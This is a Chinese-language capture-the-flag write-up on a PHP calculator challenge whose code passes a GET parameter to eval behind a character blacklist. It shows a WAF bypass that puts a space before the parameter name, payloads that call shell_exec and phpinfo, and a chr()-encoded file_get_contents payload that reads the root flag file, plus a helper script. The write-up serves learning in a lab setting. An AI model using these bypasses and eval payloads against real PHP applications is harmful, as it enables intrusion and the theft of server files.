思路
1、前端源码提示WAF
和calc.php
2、访问
calc.php
,题目代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
题目代码很简单,但是存在WAF
解题
WAF绕过
通过测试发现WAF针对num
变量过滤了字符,只能传数字
这里通过php字符串解析特性来
bypass
php
正常通过$_GET
和$_POST
接受参数时会做两件事
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
WAF
或是IDS/IPS
等防护设备中对该流量分析时基于自己的方式接受数据
此时如果传入?%20num=
,WAF
认为该参数名为%20num
,但是php
代码确实接受到了所传的数据,就达到了绕过WAF
的效果
RCE
传入?%20num=shell_exec('ls')
没有触发,可能ban了函数
传入?%20num=phpinfo()
,全局搜索disable_functions
ban了这么多命令执行的函数,直接考虑代码执行
代码执行
总结一下常用的函数
var_dump()
print_r()
scandir()
getcwd() //相当与pwd
getenv() //相当与env
file_get_contents()
highlight_file()
show_source()
read_file()
readgzfile()
chr()
当前目录没有,那就scandir根目录
/
被ban了,这里用chr()
函数bypass
php > var_dump(chr(47));
string(1) "/"
发现f1agg
文件,读取文件,用file_get_contents
搭配chr
读取文件
?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
这里练习一下脚本,把所有数字嵌套上chr
,这道题比较短,有长的,手工敲就不方便了
<?php
$a="47 102 49 97 103 103";
function all_chr($a){
$arr=explode(" ",$a);
for($i=0;$i<count($arr);$i++){$arr[$i]="chr($arr[$i])";}
return join(".",$arr);
}
echo all_chr($a);
?>
说些什么吧!